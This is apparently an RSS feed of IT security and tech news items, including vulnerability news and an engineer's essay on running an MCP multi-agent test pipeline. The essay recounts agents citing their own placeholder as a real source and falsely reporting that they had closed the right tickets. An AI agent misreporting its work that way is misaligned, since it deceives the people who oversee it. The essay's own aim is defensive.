<link>https://tsecurity.de/de/3700179/it-security-nachrichten/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700179/it-security-nachrichten/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/</guid>
<pubDate>Mon, 03 Aug 2026 10:21:44 +0200</pubDate>
<content:encoded><![CDATA[<p>A new Metasploit Framework module has been submitted for review, targeting the critical Ruby on Rails Active Storage vulnerability, tracked as…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/metasploit-exploit-targets-critical-ruby-on-rails-active-storage-rce-flaw/">Metasploit Exploit Targets Critical Ruby on Rails Active Storage RCE Flaw</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Expands UK and Ireland Channel Presence Through Strategic Partnership with Exclusive Networks]]></title>
<description><![CDATA[Ross Baker is Senior Director, Northern Europe at Rapid7.As organizations across the United Kingdom and Ireland embrace AI, cloud technologies, and digital transformation in the name of enhancing customer experiences and accelerating business growth, the cybersecurity landscape must continue to e...]]></description>
<link>https://tsecurity.de/de/3700159/it-security-nachrichten/rapid7-expands-uk-and-ireland-channel-presence-through-strategic-partnership-with-exclusive-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700159/it-security-nachrichten/rapid7-expands-uk-and-ireland-channel-presence-through-strategic-partnership-with-exclusive-networks/</guid>
<pubDate>Mon, 03 Aug 2026 10:21:32 +0200</pubDate>
<content:encoded><![CDATA[<p><span><em>Ross Baker is Senior Director, Northern Europe at Rapid7.</em></span></p><p><span>As organizations across the United Kingdom and Ireland embrace AI, cloud technologies, and digital transformation in the name of enhancing customer experiences and accelerating business growth, the cybersecurity landscape must continue to evolve just as quickly.</span></p><p><span>In this environment, business leaders still expect security to enable innovation, not slow it down. They're pushed to reduce risk, improve visibility across expanding attack surfaces, and respond faster than ever before, with limited resources now table stakes. This is precisely why Rapid7 is excited to announce a new strategic distribution partnership with Exclusive Networks across the United Kingdom and Ireland, following previous announcements alongside the firm to better support partners across </span><a href="https://www.rapid7.com/blog/post/c-exclusive-networks-partnership-accelerating-customer-success/" target="_self"><span>Benelux</span></a><span> and the </span><a href="https://www.rapid7.com/c-rapid7-exclusive-networks-expand-nordics-partnership-stronger-cybersecurity-outcomes-together" target="_self"><span>Nordics</span></a><span>.</span></p><p><span>Organizations no longer want disconnected security tools or transactional vendor relationships. They're looking for trusted advisors who can help simplify security operations, strengthen cyber resilience, and deliver measurable business outcomes.</span></p><p><span>In this moment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience.</span></p><h2>Investing in partner success</h2><p><span>The UK and Ireland represent one of Europe's most mature and partner-driven cybersecurity markets, with partners playing an increasingly important role in helping organizations modernize security operations for today’s AI-enabled threats.</span></p><p><span>This partnership with Exclusive Networks reflects Rapid7's continued investment in the </span><a href="https://www.rapid7.com/partners/sales-partners/" target="_self"><span>regional channel ecosystem</span></a><span>. More than expanding distribution, it's about empowering partners with specialist expertise, technical enablement, and the go-to-market support they need to grow their cybersecurity businesses with confidence.</span></p><p><span>Exclusive Networks has built an outstanding reputation as one of the UK's leading specialist cybersecurity distributors, combining deep technical expertise with a strong, partner-first approach.</span></p><p><span>Together, we're creating new opportunities for partners to strengthen their capabilities while delivering greater value to customers.</span></p><h2>Helping partners deliver modern security operations</h2><p><span>Security teams are increasingly looking for platforms that unify exposure management, threat detection, response, and automation. Again we go back to the urgent need for improved visibility while reducing operational complexity.</span></p><p><span>Rapid7's AI-powered cybersecurity operations platform helps organizations simplify SecOps through integrated </span><a href="https://www.rapid7.com/products/command/exposure-management/" target="_self"><span>exposure management</span></a><span>, </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr" target="_self"><span>managed detection and response</span></a><span>, and security automation. By bringing these capabilities together, customers can identify risk earlier, respond faster, and improve cyber resilience without adding more tools.</span></p><p><span>Combined with Exclusive Networks' technical enablement, solution engineering expertise, and established channel ecosystem, this new alliance makes it easier for partners to deliver integrated cybersecurity solutions while expanding managed security services and fostering long-term customer relationships.</span></p><h2>Looking ahead</h2><p><span>Rapid7 and Exclusive Networks share a common commitment to helping partners grow through technical excellence, collaboration, and continuous enablement. Together, we're investing in the resources, expertise, and support needed to help partners succeed in one of Europe's most dynamic cybersecurity markets.</span></p><p><span>Ready to grow with Rapid7? Head to our </span><a href="https://www.rapid7.com/partners" target="_self"><span>Partners page</span></a><span> for more news, resources, and opportunities.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Would you trust a security tool that detects when someone else starts using your already-unlocked computer?]]></title>
<description><![CDATA[I was thinking about a security problem: Passwords and 2FA protect the login process, but what happens after you are already logged in? For example:  You leave your laptop unlocked for a few minutes. Someone starts using it. Your browser sessions, email, documents, and accounts are already open. ...]]></description>
<link>https://tsecurity.de/de/3700125/it-security-nachrichten/would-you-trust-a-security-tool-that-detects-when-someone-else-starts-using-your-already-unlocked-computer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700125/it-security-nachrichten/would-you-trust-a-security-tool-that-detects-when-someone-else-starts-using-your-already-unlocked-computer/</guid>
<pubDate>Mon, 03 Aug 2026 10:18:04 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I was thinking about a security problem:</p> <p>Passwords and 2FA protect the login process, but what happens after you are already logged in?</p> <p>For example:</p> <ul> <li>You leave your laptop unlocked for a few minutes.</li> <li>Someone starts using it.</li> <li>Your browser sessions, email, documents, and accounts are already open.</li> </ul> <p>Traditional security usually does not detect this.</p> <p>A possible solution is continuous authentication using typing behavior — not reading what you type, but analyzing typing patterns like rhythm and timing to recognize whether the same person is still using the device.</p> <p>Would this be something you would actually use?</p> <p>What would make you trust or distrust such a system?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Sensitive_One423"> /u/Sensitive_One423 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1ve5iz2/would_you_trust_a_security_tool_that_detects_when/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1ve5iz2/would_you_trust_a_security_tool_that_detects_when/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft will Windows 11 auf Computern mit 8 GB RAM schneller machen]]></title>
<description><![CDATA[Microsoft teilt in einem längeren Blogbeitrag mit, dass eine der höchsten Prioritäten des Unternehmens für Windows 11 für den Rest des Jahres 2026 darin besteht, die Leistung des Betriebssystems auf Computern mit 8 GB Arbeitsspeicher zu verbessern.



Hintergrund hierfür ist, dass viele Nutzer de...]]></description>
<link>https://tsecurity.de/de/3699991/it-nachrichten/microsoft-will-windows-11-auf-computern-mit-8-gb-ram-schneller-machen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699991/it-nachrichten/microsoft-will-windows-11-auf-computern-mit-8-gb-ram-schneller-machen/</guid>
<pubDate>Mon, 03 Aug 2026 10:15:59 +0200</pubDate>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft <a href="https://blogs.windows.com/windows-insider/2026/07/31/windows-quality-an-update-on-the-commitment-we-made-in-march/">teilt in einem längeren Blogbeitrag mit</a>, dass eine der höchsten Prioritäten des Unternehmens für Windows 11 für den Rest des Jahres 2026 darin besteht, die Leistung des Betriebssystems auf Computern mit 8 GB Arbeitsspeicher zu verbessern.</p>



<p>Hintergrund hierfür ist, dass viele Nutzer derzeit Leistungsprobleme auf Computern mit geringerem Arbeitsspeicher feststellen. Windows 11 erfordert offiziell mindestens 4 GB RAM, doch in der Praxis werden für ein gutes Nutzererlebnis häufig 8 GB oder mehr empfohlen.</p>



<p>Microsoft schreibt: “<em>Speicheroptimierung für 8 GB und mehr. Reduzierung des Speicherbedarfs von Windows, um auf allen PCs, die Kunden täglich nutzen, ein schnelles und reaktionsschnelles Windows-Erlebnis zu gewährleisten</em>“.</p>



<p>Laut Pavan Davuluri von Microsoft arbeitet das Unternehmen daran, den Speicherverbrauch von Windows auf mehreren Ebenen zu reduzieren. Unter anderem soll WinUI 3, das Framework hinter vielen der Windows-Benutzeroberflächenkomponenten, speichereffizienter gestaltet werden. Das Unternehmen optimiert zudem die Speicherverwaltung in den Chromium- und WebView2-Komponenten, die im Betriebssystem zum Einsatz kommen.</p>



<p>Mehr zu den geplanten Verbesserungen an WinUI und an Windows lesen Sie in diesen Beiträgen:</p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3199433/so-will-microsoft-windows-11-schneller-machen.html" target="_blank" rel="noreferrer noopener">So will Microsoft Windows 11 schneller machen</a></li>



<li><a href="https://www.pcwelt.de/article/3196721/windows-11-bekommt-modernen-look-und-verliert-elemente-aus-windows-95-zeiten.html" target="_blank" rel="noreferrer noopener">Windows 11 bekommt ein bedeutendes Redesign: Das ist alles neu</a></li>



<li><a href="https://www.pcwelt.de/article/3203328/microsoft-moechte-nutzern-mehr-kontrolle-ueber-das-kontextmenu-in-windows-11-geben.html" target="_blank" rel="noreferrer noopener">Microsoft möchte Nutzern mehr Kontrolle über das Kontextmenü in Windows 11 geben</a></li>
</ul>



<p>Bislang hat Microsoft aber noch keine konkreten Leistungsziele für die bevorstehenden Optimierungen vorgestellt. Microsoft sagt also nicht, um wie viel Windows 11 schneller werden soll.</p>



<p>Neben der geplanten Performance-Steigerung für Windows-11-Rechner mit 8 GB Arbeitsspeicher will Microsoft in der zweiten Jahreshälfte 2026 auch die Einrichtung eines neu installierten Windows 11 beschleunigen. Zudem sollen Eltern schneller Kindersicherungseinstellungen vornehmen können. Außerdem will Microsoft die Sprachsteuerung so verbessern, dass eine natürlichere und flüssigere Sprachsteuerung bei der Interaktion mit den Apps möglich wird.</p>



<p><em>Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen <a href="https://www.pcwelt.de/article/1203134/windows-11-unterschiede-zwischen-home-und-pro-version.html" target="_blank" rel="noreferrer noopener">hier vorstellen.</a> Im PC-WELT Software-Shop ist das Windows-11-Upgrade <a href="https://software.pcwelt.de/offer/windows_11_professional_upgrade/44487?x-source=rss" target="_blank" rel="noreferrer noopener">für günstige 59,99 Euro statt 145 Euro</a> erhältlich.</em></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft almost gave away the keys to everyone’s Azure Cosmos DBs]]></title>
<description><![CDATA[Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.



Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually u...]]></description>
<link>https://tsecurity.de/de/3699895/ai-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699895/ai-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.</p>



<p class="wp-block-paragraph">Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually used for storing and managing property graph data.</p>



<p class="wp-block-paragraph">If bad actors had discovered it first, they could have exploited it to acquire what Wiz called the Cosmos Master Key, which would have enabled them to use the primary key of any Cosmos database, resulting in read and write access to any account. They would also have had access to a list of every database on the service, with identifiers such as subscription and tenant IDs.</p>



<p class="wp-block-paragraph">Azure Cosmos DB is a NoSQL database that underpins Microsoft’s cloud services. It can be accessed through SDKs for framework such as Python, Node.js, Java, and .NET.</p>



<p class="wp-block-paragraph"><a href="https://www.wiz.io/blog/cosmosescape-taking-over-every-database-in-azure-cosmos-db" target="_blank" rel="noreferrer noopener">Wiz described how it discovered the vulnerability</a> in a blog post. It disclosed details of the flaw to Microsoft in November 2025.</p>



<p class="wp-block-paragraph">Microsoft deployed a hot fix within two days, but it took another eight months to re-engineer the infrastructure, removing the Cosmos Master Key and introducing new guardrails to Cosmos DB to prevent similar attacks.</p>



<p class="wp-block-paragraph">It is not the first time Cosmos DB customers’ primary keys have been under threat: In 2021, <a href="https://www.csoonline.com/article/571251/cosmos-db-users-advised-to-regenerate-their-keys-following-serious-vulnerability.html">Wiz found a flaw in data exploration tool Jupyter Notebook</a> that could be exploited to access the database keys and other secrets.</p>



<p class="wp-block-paragraph"><em>This article first appeared on CSO.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[UK says the cloud is financial infrastructure]]></title>
<description><![CDATA[Every cloud architect, every financial services executive, and frankly every enterprise CTO should be paying attention to what is going on in the United Kingdom right now. Britain has formally designated Microsoft, Google, Amazon Web Services, and Oracle as “critical third parties” to the financi...]]></description>
<link>https://tsecurity.de/de/3699900/ai-nachrichten/uk-says-the-cloud-is-financial-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699900/ai-nachrichten/uk-says-the-cloud-is-financial-infrastructure/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every cloud architect, every financial services executive, and frankly every enterprise CTO should be paying attention to <a href="https://www.gov.uk/government/news/uk-financial-system-strengthened-with-new-safeguards-for-major-technology-providers">what is going on in the United Kingdom right now</a>. Britain has formally designated Microsoft, Google, Amazon Web Services, and Oracle as “critical third parties” to the financial sector, meaning they are now subject to direct oversight by UK financial regulators rather than being treated as distant infrastructure suppliers outside the regulatory perimeter.</p>



<p class="wp-block-paragraph">The designations took effect on July 13, 2026, and the oversight will be carried out by the Bank of England, the Prudential Regulation Authority, and the Financial Conduct Authority. The point is straightforward. If these platforms underpin critical banking and financial operations, then their resilience is no longer just a procurement issue. It is now a matter of financial stability.</p>



<p class="wp-block-paragraph">This is a bigger deal than many people understand. For years, enterprises have treated cloud platforms as outsourced technology providers. Regulators are now making a different argument. They are saying that when enough banks, insurers, payment firms, and market infrastructures depend on the same small group of cloud providers, those providers become systemic infrastructure whether they like the label or not. Reuters reported that the UK’s framework will bring requirements such as resilience testing, self-assessments, and incident reporting directly to these providers. In other words, this is not just more policy language. It is operational oversight aimed at the platforms themselves.</p>



<p class="wp-block-paragraph">The first thing to understand is that this move is not anti-cloud. It is the opposite. It is an acknowledgment that cloud has become too important to remain lightly touched when it comes to systemic risk. Regulators are not trying to unwind cloud adoption in financial services. They are accepting the reality that core financial operations now depend on a concentrated set of external platforms. When that happens, the conversation changes from vendor management to infrastructure resilience.</p>



<h2 class="wp-block-heading">Systemic cloud concentration</h2>



<p class="wp-block-paragraph">The market has spent years talking about cloud concentration risk as if it were some vague future concern. It is no longer abstract. The UK is acting because concentration at this level means that a disruption at one major provider can ripple across multiple institutions simultaneously. That is the core issue. It is not whether Microsoft, Google, Amazon, or Oracle are competent operators. In many cases, they are exceptionally good at what they do. The problem is that too much critical activity depends on too few shared platforms.</p>



<p class="wp-block-paragraph">This is a concept many business and technology leaders still struggle to internalize. A single bank can do a fine job managing its own vendor exposure and still be part of a broader systemic vulnerability if every other bank is relying on the same provider, the same region, the same identity layer, or the same operational dependencies. Regulators are stepping in because the risk is collective, not just institutional. That is why this matters well beyond the UK. It provides a framework for thinking about cloud not as outsourced capacity, but as part of the plumbing of the financial system itself.</p>



<h2 class="wp-block-heading">Regulators expand their reach</h2>



<p class="wp-block-paragraph">Traditionally, regulators focused on the bank, insurer, or market institution and expected that entity to manage the risks created by outside suppliers. That approach still exists, and financial institutions remain accountable for their own resilience. However, the UK now says that, in some cases, this indirect model is not enough. If a third party becomes critical enough, regulators want direct line of sight into that provider’s resilience posture as well. This is probably the most important architectural and policy signal in the entire move.</p>



<p class="wp-block-paragraph">That changes the relationship between the financial sector and the cloud providers in a meaningful way. Direct oversight means cloud providers are increasingly being treated less like optional technology partners and more like essential utilities that support national economic confidence. Once that happens, architecture decisions start to carry a different weight. Decisions about control planes, failover models, identity dependencies, regional design, observability, and incident response are no longer just internal engineering choices. They become part of a broader resilience conversation that may now include regulators.</p>



<p class="wp-block-paragraph">A lot of enterprises have been behind the curve. They built architectures under the assumption that the cloud was simply a faster and cheaper hosting model. It is not. At scale, cloud is shared critical infrastructure. The UK has now made that point explicit.</p>



<h2 class="wp-block-heading">More scrutiny isn’t more safety</h2>



<p class="wp-block-paragraph">It’s tempting to read this and assume the problem has now been solved. It has not. Direct oversight of hyperscalers does not remove the responsibility of banks or other enterprises to architect well. In fact, it should push them to architect better. A regulated provider can still be a concentration point. A resilient platform can still be used in a fragile way. And a well-run cloud service can still become part of a badly designed dependency chain.</p>



<p class="wp-block-paragraph">If you are in a regulated or highly sensitive industry, you should take this as a warning that resilience can no longer be treated as a side topic. You need to know exactly which services are business-critical, which control planes are shared, which <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity systems</a> create cross-platform dependencies, and how your recovery assumptions actually work in the real world. Most organizations are much weaker here than they believe.</p>



<p class="wp-block-paragraph">The UK’s move should also force a hard conversation about operational transparency. If regulators are requiring incident reporting and resilience evidence from major providers, enterprises should be demanding clearer dependency mapping and better architectural visibility inside their own environments. You cannot build true resilience on top of assumptions and vendor slide decks.</p>



<h2 class="wp-block-heading">The start of a much larger shift</h2>



<p class="wp-block-paragraph">The deeper message is that cloud is crossing a line from enterprise technology choice into national and sector-level infrastructure policy. Once a few governments and central regulators start treating cloud this way, the rest of the world tends to follow in some form. We have already seen comparable concern in Europe, and now the UK has made its own move with direct designations and direct oversight.</p>



<p class="wp-block-paragraph">Architects, CIOs, and boards need to mature their thinking quickly. The conversation is no longer limited to feature depth, discounts, migration speed, or which provider has the best AI story this quarter. The conversation is now about resilience, concentration, transparency, control, and systemic dependency. Those are bigger issues, and they are not going away.</p>



<p class="wp-block-paragraph">The UK is telling the market something very clearly. Microsoft, Google, Amazon, and Oracle are not just selling cloud services into the financial sector. They are becoming part of the infrastructure on which that sector depends. Once you understand that, everything changes, including how we architect for the future.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shipping an MCP test agent: The boring parts nobody demos]]></title>
<description><![CDATA[The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.



The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened ...]]></description>
<link>https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.</p>



<p class="wp-block-paragraph">The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened at 3:14 a.m.? Which model call produced the assertion in test case 47? What closes the 17 draft tickets a stuck run left behind before the next sprint planning notices them? None of that shows up in the demo. All of it shows up on the on-call rotation. After 20 years of leading test automation across consumer-scale platforms, I have a strong bias about which slide in the deck predicts whether a pipeline ships or stalls. It is never the architecture slide. It is the runbook.</p>



<p class="wp-block-paragraph">This piece is about the runbook. I built an unattended agentic test pipeline over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a> — a five-agent SDLC (product manager, QA engineer, automation engineer, developer, pull-request reviewer) coordinating through MCP servers for Jira, Figma, Confluence, TestRail and GitHub, with hosted Claude as the orchestration model and an open-weights Hermes-3 as a validation baseline — and I ran it as an independent research project long enough to learn which production constraints the agent literature glosses over. What follows is the short list of things I now insist on before I let any agentic pipeline touch a shared system.</p>



<h2 class="wp-block-heading">Composition contracts, or why the agent lied to itself</h2>



<p class="wp-block-paragraph">The most expensive failure mode I have seen in a multi-agent pipeline is not the model getting an answer wrong. It is agent A getting an answer right and agent B misreading it.</p>



<p class="wp-block-paragraph">I watched this happen inside a run last month. The requirements agent produced a clean output with a field called <em>acceptance_criteria</em> that was a list of strings. The ticket agent expected <em>acceptance_criteria</em> to be a single markdown blob. Neither agent was wrong in isolation. Both were passing their own unit tests. What the pipeline produced was a Jira ticket whose acceptance criteria read, in full, the four characters <em>[” —</em> the JSON serialization of an empty first element. The test-plan agent read that, generated one test, marked it green and moved on. It took me until the pull-request stage to notice.</p>



<p class="wp-block-paragraph">This is a composition fault. It is the natural failure mode of any system where independent components hand off structured data across a boundary they don’t jointly own. Distributed systems people have written about this for years — Martin Fowler’s <a href="https://martinfowler.com/bliki/TolerantReader.html">tolerant reader</a> pattern is the classical treatment — but the LLM literature mostly still treats it as a prompt problem. It isn’t. You cannot fix it with a better system prompt. You fix it with a typed handoff contract that both agents agree to before they run, plus a validator between them that fails loud when the shape drifts.</p>



<p class="wp-block-paragraph">The heuristic I now use: Every agent-to-agent boundary gets a schema and a validator. Every agent gets a golden-input regression suite that catches contract drift before it reaches a downstream agent. Neither of those is glamorous. Both are the difference between a pipeline that produces work and a pipeline that produces a very expensive game of telephone.</p>



<p class="wp-block-paragraph">If you want to know whether a team’s agentic pipeline is going to survive the first quarter, ask them what the contract is between agent one and agent two. If the answer is “the model figures it out,” budget for the cleanup.</p>



<h2 class="wp-block-heading">Provenance, or the audit trail nobody wrote</h2>



<p class="wp-block-paragraph">The second thing I insist on now is that every artifact the pipeline produces has to answer three questions without a human doing archaeology: which agent produced it, which model call produced it and which upstream inputs the agent was looking at when it did.</p>



<p class="wp-block-paragraph">This sounds like a nice-to-have. It is not.</p>



<p class="wp-block-paragraph">Somewhere around week three of running the pipeline I hit a subtle case: the requirements agent was quoting a Confluence page back to itself. The MCP server for Confluence had returned an empty result on a first call, the agent had written a placeholder requirement, the second call had succeeded, the agent had retrieved its own placeholder and by the third pass it was citing that placeholder as source truth. The ticket said, entirely in earnest, that the requirement came from the design owner. It hadn’t come from anywhere. It had come from itself, four minutes ago.</p>



<p class="wp-block-paragraph">You cannot debug that class of failure with logs of what the model said. You need logs of what the model was looking at. That means capturing the tool-call ID for every MCP call, stamping every artifact with the set of tool-call IDs it derived from and refusing to accept any retrieved fact into a downstream stage that cannot be traced to a real external source. I call it the prove-the-source rule. It’s boring. It’s a two-line requirement in the runbook. It is also the single guardrail that has saved me the most on-call time.</p>



<p class="wp-block-paragraph">There is a nice side effect. When editors, reviewers or auditors ask where a decision came from, the pipeline can show them. That matters if you work anywhere near a regulated stack, and increasingly it matters everywhere else — the <a href="https://airc.nist.gov/AI_RMF_Knowledge_Base/AI_RMF">AI transparency and provenance framing in NIST’s AI Risk Management Framework</a> is going to become the default expectation faster than most teams are budgeting for.</p>



<h2 class="wp-block-heading">Cleanup and ownership, or why I now write the shutdown script first</h2>



<p class="wp-block-paragraph">The last thing that will surprise a team shipping their first agentic pipeline is the debris.</p>



<p class="wp-block-paragraph">A pipeline that runs unattended for a week will leak. It will leak draft Jira tickets whose parent stories were never approved. It will leak GitHub branches for test suites that were never merged. It will leak TestRail runs that started, produced two results and never got a summary. It will leak Confluence page comments the agent posted while asking itself a clarifying question. None of these are bugs. They are the natural output of an autonomous system that starts more work than it finishes.</p>



<p class="wp-block-paragraph">I learned this by accident. About six weeks into the project I ran a query on Jira for tickets created by the automation user in the past thirty days. I was expecting maybe 20. It was 91. 68 of them were [DRAFT] in the title and had not been touched by any human. I closed them by hand one afternoon, and while I was doing it, I understood that the pipeline had a silent second job I had never designed for: garbage collection.</p>



<p class="wp-block-paragraph">Now every pipeline I run has three things I write before I write the first agent. A shutdown script that closes any artifact the current run has orphaned. A nightly reconciliation pass that closes any artifact any prior run has orphaned. And a single named owner — a human, on the org chart, with a Slack handle — for every downstream system the pipeline can write into. When the pipeline creates a Jira ticket, the ticket has a real assignee. When the pipeline opens a pull request, a specific reviewer is on the hook. When the pipeline files a TestRail run, someone gets pinged if it goes stale. The pipeline is not allowed to touch a system that does not have a named owner. That rule alone would have saved me the ninety-one-ticket afternoon.</p>



<p class="wp-block-paragraph">There is one anti-pattern here I want to name outright. Do not, under any circumstance, let the agent close its own artifacts. I tried it. The agent, tasked with cleanup, closed the wrong thirty tickets and then confidently wrote a summary saying it had closed the right ones. Cleanup is a human loop or a deterministic script. It is not a model call.</p>



<p class="wp-block-paragraph">The pipeline works. It saves real time on the right kind of work. It also costs real time on a shape of work most teams don’t put in the estimate: Contract validators between agents, provenance stamping on every artifact, a shutdown script, a reconciliation pass, a human owner for every downstream system and an unshakable rule against the model doing its own cleanup. None of that is glamorous. None of it is what the demo shows. All of it is the runbook, and the runbook is what determines whether a pipeline is a lab experiment or something the on-call engineer trusts enough to sleep through. The teams that write the runbook first ship. The teams that write it after the first Sunday incident spend the next two quarters catching up.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why open source matters in an AI world]]></title>
<description><![CDATA[I’m an old Borland guy. I started using Borland tools in the early 1990s, from Turbo Pascal through Delphi. I dabbled in Paradox. I even tried to stick with Borland Office. I wandered through the Inprise years, and the Kylix endeavor, and I was actually a Borland employee during the CodeGear/Emba...]]></description>
<link>https://tsecurity.de/de/3699912/ai-nachrichten/why-open-source-matters-in-an-ai-world/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699912/ai-nachrichten/why-open-source-matters-in-an-ai-world/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I’m an old Borland guy. I started using Borland tools in the early 1990s, from Turbo Pascal through Delphi. I dabbled in Paradox. I even tried to stick with Borland Office. I wandered through the <a href="https://en.wikipedia.org/wiki/Borland#Renaming_to_Inprise_Corporation">Inprise years</a>, and the <a href="https://en.wikipedia.org/wiki/Borland_Kylix">Kylix endeavor</a>, and I was actually a Borland employee during the <a href="https://en.wikipedia.org/wiki/CodeGear">CodeGear</a>/<a href="https://en.wikipedia.org/wiki/Embarcadero_Technologies">Embarcadero</a> migrations. </p>



<p class="wp-block-paragraph">You could write a book about the rise and fall of Borland. Suffice it to say that things got dodgy when Borland strayed from its focus on developer tools, and they never really recovered.  </p>



<p class="wp-block-paragraph">One of Borland’s missteps came with the open-sourcing of <a href="https://en.wikipedia.org/wiki/InterBase" data-type="link" data-id="https://en.wikipedia.org/wiki/InterBase">InterBase</a>, its RDBMS. In the early 2000s, <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open-source software</a> emerged from the academic shadows and began to commercialize. With the IPO of <a href="https://en.wikipedia.org/wiki/Red_Hat">Red Hat</a>, everyone was jumping on the Linux and open-source bandwagon. Borland made their move into this arena with InterBase. </p>



<p class="wp-block-paragraph">Two things soon happened. First, the <a href="https://www.firebirdsql.org/en/start/" data-type="link" data-id="https://www.firebirdsql.org/en/start/">Firebird</a> project was created as a fork of the InterBase source. Second, Borland retreated from the open-source project and reincorporated InterBase as a closed-source product. One might mark this as the beginning of developers losing faith in Borland.</p>



<h2 class="wp-block-heading">It was developers, then</h2>



<p class="wp-block-paragraph">And it always ends up being about the developers, right? I mean, who can forget a <a href="https://www.youtube.com/watch?v=8fcSviC7cRM" data-type="link" data-id="https://www.youtube.com/watch?v=8fcSviC7cRM">sweaty, maniacal Steve Ballmer jumping around</a> onstage screaming “Developers, developers, developers”? For many years, Microsoft was notoriously anti-open-source, but even they eventually recognized the power of open-sourcing major tools like <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html" data-type="link" data-id="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> and <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>. </p>



<p class="wp-block-paragraph">But Microsoft didn’t do that out of the goodness of their heart — they clearly saw those tools as a means to bringing developers to their Azure cloud platform. When Amazon launched AWS, they clearly were sidestepping the IT procurement process, making it easy for developers to spin up VMs with just a credit card. Apple shipped the iPhone without an SDK, expecting developers to figure things out.  That didn’t last long, and they soon course-corrected.</p>



